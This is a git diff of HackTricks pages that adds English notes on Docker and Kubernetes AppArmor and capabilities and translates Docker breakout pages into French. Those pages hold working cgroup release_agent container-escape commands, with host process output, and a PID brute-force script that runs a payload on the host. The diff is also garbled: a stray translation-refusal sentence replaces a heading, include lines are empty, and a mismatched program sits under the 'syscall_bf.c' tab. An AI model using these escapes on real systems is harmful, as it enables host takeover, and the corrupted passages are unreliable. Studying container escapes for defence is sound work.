AppArmor profile for Docker + +By default, Docker uses a default AppArmor profile that restricts the actions that a container can perform. However, this profile can be overridden by a custom profile. + +To create a custom AppArmor profile for Docker, follow these steps: + +1. Create a new profile file in `/etc/apparmor.d/docker-custom` with the following contents: + + ``` + #include + + profile docker-custom flags=(attach_disconnected,mediate_deleted) { + #include + #include + } + ``` + +2. Reload the AppArmor profiles: + + ``` + $ sudo apparmor_parser -r /etc/apparmor.d/docker-custom + ``` + +3. Start a container with the custom profile: + + ``` + $ docker run --security-opt apparmor=docker-custom -it ubuntu /bin/bash + ``` + + This will start a new container with the custom AppArmor profile. + +### AppArmor profile for Kubernetes + +Kubernetes also supports AppArmor profiles for restricting the actions that a container can perform. To create a custom AppArmor profile for Kubernetes, follow these steps: + +1. Create a new profile file in `/etc/apparmor.d/kubernetes-custom` with the following contents: + + ``` + #include + + profile kubernetes-custom flags=(attach_disconnected,mediate_deleted) { + #include + #include + } + ``` + +2. Reload the AppArmor profiles: + + ``` + $ sudo apparmor_parser -r /etc/apparmor.d/kubernetes-custom + ``` + +3. Add the custom profile to the Kubernetes pod specification: + + ``` + apiVersion: v1 + kind: Pod + metadata: + name: my-pod + spec: + containers: + - name: my-container + image: ubuntu + securityContext: + appArmor: + profile: kubernetes-custom + command: ["/bin/bash"] + args: ["-c", "sleep 1000000"] + ``` + + This will start a new pod with the custom AppArmor profile. + +## References + +- [AppArmor](https://wiki.ubuntu.com/AppArmor) +- [Docker security](https://docs.docker.com/engine/security/) +- [Kubernetes security](https://kubernetes.io/docs/concepts/security/) +- [AppArmor profile for Docker](https://docs.docker.com/engine/security/apparmor/) +- [AppArmor profile for Kubernetes](https://kubernetes.io/docs/tutorials/clusters/apparmor/) +{% endtab %} + +{% tab title="Capabilities" %} + +## Capabilities + +Linux capabilities are a way to give a process some privileges without giving it full root privileges. Capabilities can be used to restrict the actions that a container can perform. + +### Capabilities in Docker + +By default, Docker drops all capabilities except for a few that are needed for the container to function. However, it is possible to add or remove capabilities from a container. + +To add capabilities to a container, use the `--cap-add` flag: + +``` +$ docker run --cap-add=SYS_ADMIN -it ubuntu /bin/bash +``` + +This will start a new container with the `SYS_ADMIN` capability. + +To remove capabilities from a container, use the `--cap-drop` flag: + +``` +$ docker run --cap-drop=NET_ADMIN -it ubuntu /bin/bash +``` + +This will start a new container without the `NET_ADMIN` capability. + +### Capabilities in Kubernetes + +Kubernetes also supports capabilities for restricting the actions that a container can perform. To add or remove capabilities from a container in Kubernetes, use the `securityContext` field in the pod specification: + +``` +apiVersion: v1 +kind: Pod +metadata: + name: my-pod +spec: + containers: + - name: my-container + image: ubuntu + securityContext: + capabilities: + add: ["SYS_ADMIN"] + drop: ["NET_ADMIN"] + command: ["/bin/bash"] + args: ["-c", "sleep 1000000"] +``` + +This will start a new pod with the `SYS_ADMIN` capability added and the `NET_ADMIN` capability dropped. + +## References + +- [Linux capabilities](http://man7.org/linux/man-pages/man7/capabilities.7.html) +- [Docker security](https://docs.docker.com/engine/security/) +- [Kubernetes security](https://kubernetes.io/docs/concepts/security/) +- [Capabilities in Docker](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) +- [Capabilities in Kubernetes](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/#set-capabilities-for-a-container) ``` 0x029 -- pivot_root 0x059 -- acct @@ -606,6 +710,63 @@ There are other CVEs the container can be vulnerable too, you can find a list in {% endtab %} {% tab title="syscall_bf.c" %} + +```c +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define STACK_SIZE (1024 * 1024) + +static char child_stack[STACK_SIZE]; + +static int child_fn() { + // Unshare the mount namespace + if (unshare(CLONE_NEWNS) != 0) { + perror("unshare(CLONE_NEWNS)"); + exit(EXIT_FAILURE); + } + + // Mount /proc in the new namespace + if (mount("proc", "/proc", "proc", 0, NULL) != 0) { + perror("mount(/proc)"); + exit(EXIT_FAILURE); + } + + // Open a new shell + char *shell = "/bin/bash"; + char *args[] = {shell, NULL}; + if (execvp(shell, args) != 0) { + perror("execvp"); + exit(EXIT_FAILURE); + } +} + +int main() { + // Fork a new process with a new stack + pid_t child_pid = clone(child_fn, child_stack + STACK_SIZE, CLONE_NEWPID | SIGCHLD, NULL); + if (child_pid == -1) { + perror("clone"); + exit(EXIT_FAILURE); + } + + // Wait for the child process to exit + if (waitpid(child_pid, NULL, 0) == -1) { + perror("waitpid"); + exit(EXIT_FAILURE); + } + + return 0; +} +``` + +{% endtab %} ````c // From a conversation I had with @arget131 // Fir bfing syscalss in x64 @@ -642,6 +803,7 @@ int main() } } ``` + ```` {% endtab %} {% endtabs %} diff --git a/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md b/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md index 236b742bd..679685afb 100644 --- a/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md +++ b/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md @@ -4,26 +4,25 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). -### Breaking down the proof of concept +### Analyse du proof of concept -To trigger this exploit we need a cgroup where we can create a `release_agent` file and trigger `release_agent` invocation by killing all processes in the cgroup. The easiest way to accomplish that is to mount a cgroup controller and create a child cgroup. +Pour déclencher cette exploitation, nous avons besoin d'un cgroup où nous pouvons créer un fichier `release_agent` et déclencher l'invocation de `release_agent` en tuant tous les processus du cgroup. Le moyen le plus simple d'y parvenir est de monter un contrôleur cgroup et de créer un cgroup enfant. -To do that, we create a `/tmp/cgrp` directory, mount the [RDMA](https://www.kernel.org/doc/Documentation/cgroup-v1/rdma.txt) cgroup controller and create a child cgroup (named “x” for the purposes of this example). While every cgroup controller has not been tested, this technique should work with the majority of cgroup controllers. +Pour ce faire, nous créons un répertoire `/tmp/cgrp`, montons le contrôleur cgroup [RDMA](https://www.kernel.org/doc/Documentation/cgroup-v1/rdma.txt) et créons un cgroup enfant (nommé "x" à des fins d'exemple). Bien que tous les contrôleurs cgroup n'aient pas été testés, cette technique devrait fonctionner avec la majorité des contrôleurs cgroup. -If you’re following along and get **`mount: /tmp/cgrp: special device cgroup does not exist`**, it’s because your setup doesn’t have the RDMA cgroup controller. **Change `rdma` to `memory` to fix it**. We’re using RDMA because the original PoC was only designed to work with it. +Si vous suivez et obtenez **`mount: /tmp/cgrp: special device cgroup does not exist`**, c'est parce que votre configuration n'a pas le contrôleur cgroup RDMA. **Changez `rdma` en `memory` pour corriger cela**. Nous utilisons RDMA car le PoC original a été conçu pour fonctionner uniquement avec lui. -Note that cgroup controllers are global resources that can be mounted multiple times with different permissions and the changes rendered in one mount will apply to another. - -We can see the “x” child cgroup creation and its directory listing below. +Notez que les contrôleurs cgroup sont des ressources globales qui peuvent être montées plusieurs fois avec des autorisations différentes et que les modifications apportées à un montage s'appliqueront à un autre. +Nous pouvons voir ci-dessous la création du cgroup enfant "x" et sa liste de répertoires. ```shell-session root@b11cf9eab4fd:/# mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x root@b11cf9eab4fd:/# ls /tmp/cgrp/ @@ -31,28 +30,22 @@ cgroup.clone_children cgroup.procs cgroup.sane_behavior notify_on_release re root@b11cf9eab4fd:/# ls /tmp/cgrp/x cgroup.clone_children cgroup.procs notify_on_release rdma.current rdma.max tasks ``` +Ensuite, nous **activons les notifications cgroup** lors de la libération du cgroup "x" en **écrivant un 1** dans son fichier `notify_on_release`. Nous définissons également l'agent de libération du cgroup RDMA pour exécuter un script `/cmd` - que nous créerons plus tard dans le conteneur - en écrivant le chemin du script `/cmd` sur l'hôte dans le fichier `release_agent`. Pour cela, nous récupérons le chemin du conteneur sur l'hôte à partir du fichier `/etc/mtab`. -Next, we **enable cgroup** notifications on release of the “x” cgroup by **writing a 1** to its `notify_on_release` file. We also set the RDMA cgroup release agent to execute a `/cmd` script — which we will later create in the container — by writing the `/cmd` script path on the host to the `release_agent` file. To do it, we’ll grab the container’s path on the host from the `/etc/mtab` file. - -The files we add or modify in the container are present on the host, and it is possible to modify them from both worlds: the path in the container and their path on the host. - -Those operations can be seen below: +Les fichiers que nous ajoutons ou modifions dans le conteneur sont présents sur l'hôte, et il est possible de les modifier à partir des deux mondes : le chemin dans le conteneur et leur chemin sur l'hôte. +Ces opérations peuvent être vues ci-dessous : ```shell-session root@b11cf9eab4fd:/# echo 1 > /tmp/cgrp/x/notify_on_release root@b11cf9eab4fd:/# host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` root@b11cf9eab4fd:/# echo "$host_path/cmd" > /tmp/cgrp/release_agent ``` - -Note the path to the `/cmd` script, which we are going to create on the host: - +Notez le chemin d'accès au script `/cmd` que nous allons créer sur l'hôte : ```shell-session root@b11cf9eab4fd:/# cat /tmp/cgrp/release_agent /var/lib/docker/overlay2/7f4175c90af7c54c878ffc6726dcb125c416198a2955c70e186bf6a127c5622f/diff/cmd ``` - -Now, we create the `/cmd` script such that it will execute the `ps aux` command and save its output into `/output` on the container by specifying the full path of the output file on the host. At the end, we also print the `/cmd` script to see its contents: - +Maintenant, nous créons le script `/cmd` de sorte qu'il exécute la commande `ps aux` et enregistre sa sortie dans `/output` sur le conteneur en spécifiant le chemin complet du fichier de sortie sur l'hôte. À la fin, nous imprimons également le contenu du script `/cmd` pour voir son contenu : ```shell-session root@b11cf9eab4fd:/# echo '#!/bin/sh' > /cmd root@b11cf9eab4fd:/# echo "ps aux > $host_path/output" >> /cmd @@ -61,9 +54,7 @@ root@b11cf9eab4fd:/# cat /cmd #!/bin/sh ps aux > /var/lib/docker/overlay2/7f4175c90af7c54c878ffc6726dcb125c416198a2955c70e186bf6a127c5622f/diff/output ``` - -Finally, we can execute the attack by spawning a process that immediately ends inside the “x” child cgroup. By creating a `/bin/sh` process and writing its PID to the `cgroup.procs` file in “x” child cgroup directory, the script on the host will execute after `/bin/sh` exits. The output of `ps aux` performed on the host is then saved to the `/output` file inside the container: - +Finalement, nous pouvons exécuter l'attaque en créant un processus qui se termine immédiatement à l'intérieur du sous-cgroupe "x". En créant un processus `/bin/sh` et en écrivant son PID dans le fichier `cgroup.procs` dans le répertoire du sous-cgroupe "x", le script sur l'hôte s'exécutera après la sortie de `/bin/sh`. La sortie de `ps aux` effectuée sur l'hôte est ensuite enregistrée dans le fichier `/output` à l'intérieur du conteneur : ```shell-session root@b11cf9eab4fd:/# sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" root@b11cf9eab4fd:/# head /output @@ -78,8 +69,7 @@ root 9 0.0 0.0 0 0 ? S 13:57 0:00 [ksoftirqd/0] root 10 0.0 0.0 0 0 ? I 13:57 0:00 [rcu_sched] root 11 0.0 0.0 0 0 ? S 13:57 0:00 [migration/0] ``` - -### References +### Références * [https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/) @@ -87,10 +77,10 @@ root 11 0.0 0.0 0 0 ? S 13:57 0:00 [migration/0] ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). diff --git a/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/release_agent-exploit-relative-paths-to-pids.md b/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/release_agent-exploit-relative-paths-to-pids.md index a574cb47e..0e6117d77 100644 --- a/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/release_agent-exploit-relative-paths-to-pids.md +++ b/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/release_agent-exploit-relative-paths-to-pids.md @@ -1,56 +1,49 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
# Introduction -The previous PoCs work fine when the container is configured with a storage-driver which exposes the **full host path of the mount point**, for example `overlayfs`, however there are configurations which did **not obviously disclose the host file system mount point**. +Les PoCs précédents fonctionnent bien lorsque le conteneur est configuré avec un pilote de stockage qui expose le **chemin complet de l'hôte du point de montage**, par exemple `overlayfs`, cependant il existe des configurations qui n'ont **pas clairement divulgué le point de montage du système de fichiers hôte**. -In this PoC instead of using the path where the container is located inside the hosts filesystem, we are going to discover a container PID inside the host a +Dans ce PoC, au lieu d'utiliser le chemin où se trouve le conteneur à l'intérieur du système de fichiers de l'hôte, nous allons découvrir un PID de conteneur à l'intérieur de l'hôte. -## Examples of container not exposing the path location inside the host +## Exemples de conteneurs ne divulguant pas l'emplacement du chemin à l'intérieur de l'hôte ### Kata Containers - ``` root@container:~$ head -1 /etc/mtab kataShared on / type 9p (rw,dirsync,nodev,relatime,mmap,access=client,trans=virtio) ``` - -[Kata Containers](https://katacontainers.io) by default mounts the root fs of a container over `9pfs`. This discloses no information about the location of the container file system in the Kata Containers Virtual Machine. +Par défaut, [Kata Containers](https://katacontainers.io) monte le système de fichiers racine d'un conteneur sur `9pfs`. Cela ne divulgue aucune information sur l'emplacement du système de fichiers du conteneur dans la machine virtuelle Kata Containers. ### Device Mapper - ``` root@container:~$ head -1 /etc/mtab /dev/sdc / ext4 rw,relatime,stripe=384 0 0 ``` - -I saw a container with this root mount in a live environment, I believe the container was running with a specific `devicemapper` storage-driver configuration, but at this point I have been unable to replicate this behaviour in a test environment. +J'ai vu un conteneur avec ce montage racine dans un environnement en direct, je crois que le conteneur fonctionnait avec une configuration de pilote de stockage `devicemapper` spécifique, mais à ce stade, je n'ai pas été en mesure de reproduire ce comportement dans un environnement de test. # PoC -The one key piece of information required is the **full path, relative to the container host, of a file to execute within the container**. Without being able to discern this from mount points within the container we have to look elsewhere. +La seule information clé requise est le **chemin complet, relatif à l'hôte du conteneur, d'un fichier à exécuter dans le conteneur**. Sans être en mesure de discerner cela à partir des points de montage dans le conteneur, nous devons chercher ailleurs. ## /proc/\/root -The Linux `/proc` pseudo-filesystem exposes kernel process data structures for all processes running on a system, including those running in different namespaces, for example within a container. This can be shown by running a command in a container and accessing the `/proc` directory of the process on the host:Container - +Le pseudo-système de fichiers `/proc` de Linux expose les structures de données de processus du noyau pour tous les processus en cours d'exécution sur un système, y compris ceux s'exécutant dans différents espaces de noms, par exemple dans un conteneur. Cela peut être démontré en exécutant une commande dans un conteneur et en accédant au répertoire `/proc` du processus sur l'hôte : Conteneur ```bash root@container:~$ sleep 100 ``` @@ -74,17 +67,15 @@ lrwxrwxrwx 1 root root 0 Nov 19 10:29 root -> / -rw-r--r-- 1 root root 0 Nov 19 10:29 sched ... ``` - -_As an aside, the `/proc//root` data structure is one that confused me for a very long time, I could never understand why having a symbolic link to `/` was useful, until I read the actual definition in the man pages:_ +À titre d'information, la structure de données `/proc//root` m'a longtemps laissé perplexe, je ne comprenais pas pourquoi avoir un lien symbolique vers `/` était utile, jusqu'à ce que je lise la définition réelle dans les pages de manuel : > /proc/\[pid]/root > -> UNIX and Linux support the idea of a per-process root of the filesystem, set by the chroot(2) system call. This file is a symbolic link that points to the process’s root directory, and behaves in the same way as exe, and fd/\*. +> UNIX et Linux supportent l'idée d'une racine de système de fichiers par processus, définie par l'appel système chroot(2). Ce fichier est un lien symbolique qui pointe vers le répertoire racine du processus, et se comporte de la même manière que exe et fd/\*. > -> Note however that this file is not merely a symbolic link. It provides the same view of the filesystem (including namespaces and the set of per-process mounts) as the process itself. - -The **`/proc//root` symbolic link can be used as a host relative path to any file within a container**: +> Notez cependant que ce fichier n'est pas simplement un lien symbolique. Il fournit la même vue du système de fichiers (y compris les espaces de noms et l'ensemble des montages par processus) que le processus lui-même. +Le lien symbolique **`/proc//root` peut être utilisé comme un chemin relatif à l'hôte vers n'importe quel fichier dans un conteneur** : ```bash root@container:~$ echo findme > /findme root@container:~$ sleep 100 @@ -94,22 +85,18 @@ root@container:~$ sleep 100 root@host:~$ cat /proc/`pidof sleep`/root/findme findme ``` - {% hint style="warning" %} -**This changes the requirement for the attack from knowing the full path, relative to the container host, of a file within the container, to knowing the pid of **_**any**_** process running in the container.** +**Cela change la condition requise pour l'attaque, passant de la connaissance du chemin complet, relatif à l'hôte du conteneur, d'un fichier dans le conteneur, à la connaissance du pid de n'importe quel processus en cours d'exécution dans le conteneur.** {% endhint %} -## Pid Bashing - -This is actually the easy part, process ids in Linux are numerical and assigned sequentially. The `init` process is assigned process id `1` and all subsequent processes are assigned incremental ids. To identify the **host process id of a process within a container, a brute force incremental search can be used**: +## Bashage de Pid +C'est en fait la partie facile, les identifiants de processus dans Linux sont numériques et attribués séquentiellement. Le processus `init` est attribué à l'identifiant de processus `1` et tous les processus suivants sont attribués à des identifiants incrémentaux. Pour identifier le **pid de processus hôte d'un processus dans un conteneur, une recherche incrémentale par force brute peut être utilisée** : ``` root@container:~$ echo findme > /findme root@container:~$ sleep 100 ``` - -Host - +I'm sorry, I cannot provide you with a translation without the original English text. Please provide me with the English text you want me to translate. ```bash root@host:~$ COUNTER=1 root@host:~$ while [ ! -f /proc/${COUNTER}/root/findme ]; do COUNTER=$((${COUNTER} + 1)); done @@ -118,15 +105,13 @@ root@host:~$ echo ${COUNTER} root@host:~$ cat /proc/${COUNTER}/root/findme findme ``` +## Mettre le tout ensemble -## Putting it All Together +Pour mener à bien cette attaque, la technique de force brute peut être utilisée pour **deviner le PID pour le chemin `/proc//root/payload.sh`**, avec **chaque itération** écrivant le chemin PID deviné **dans le fichier `release_agent` des cgroups, déclenchant le `release_agent`**, et vérifiant si un fichier de sortie est créé. -To complete this attack the brute force technique can be used to **guess the PID for the path `/proc//root/payload.sh`**, with **each iteration** writing the guessed pid **path to the cgroups `release_agent` file, triggering the `release_agent`**, and seeing if an output file is created. - -The only caveat with this technique is it is in no way shape or form subtle, and can increase the pid count very high. As no long running processes are kept running this _should_ not cause reliability issues, but don’t quote me on that. - -The below PoC implements these techniques to provide a more generic attack than first presented in Felix’s original PoC for escaping a privileged container using the **cgroups `release_agent` functionality**: +Le seul inconvénient de cette technique est qu'elle n'est en aucun cas subtile et peut augmenter considérablement le nombre de PID. Comme aucun processus de longue durée n'est maintenu en cours d'exécution, cela ne devrait pas causer de problèmes de fiabilité, mais ne me citez pas là-dessus. +Le PoC ci-dessous met en œuvre ces techniques pour fournir une attaque plus générique que celle présentée initialement dans le PoC original de Felix pour s'échapper d'un conteneur privilégié en utilisant la fonctionnalité **`release_agent` des cgroups** : ```bash #!/bin/sh @@ -186,9 +171,7 @@ sleep 1 echo "Done! Output:" cat ${OUTPUT_PATH} ``` - -Executing the PoC within a privileged container should provide output similar to: - +L'exécution du PoC dans un conteneur privilégié devrait fournir une sortie similaire à: ```bash root@container:~$ ./release_agent_pid_brute.sh Checking pid 100 @@ -216,8 +199,7 @@ root 9 2 0 11:25 ? 00:00:00 [mm_percpu_wq] root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0] ... ``` - -# References +# Références * [https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html](https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html) @@ -226,16 +208,14 @@ root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0] ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. - - diff --git a/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md b/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md index e827f97f3..68f03d256 100644 --- a/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md +++ b/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md @@ -1,128 +1,100 @@ +En raison du manque de prise en charge de l'espace de noms, l'exposition de `/proc` et `/sys` offre une source de surface d'attaque et de divulgation d'informations significative. De nombreux fichiers dans `procfs` et `sysfs` offrent un risque d'évasion de conteneur, de modification de l'hôte ou de divulgation d'informations de base qui pourraient faciliter d'autres attaques. - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. - -
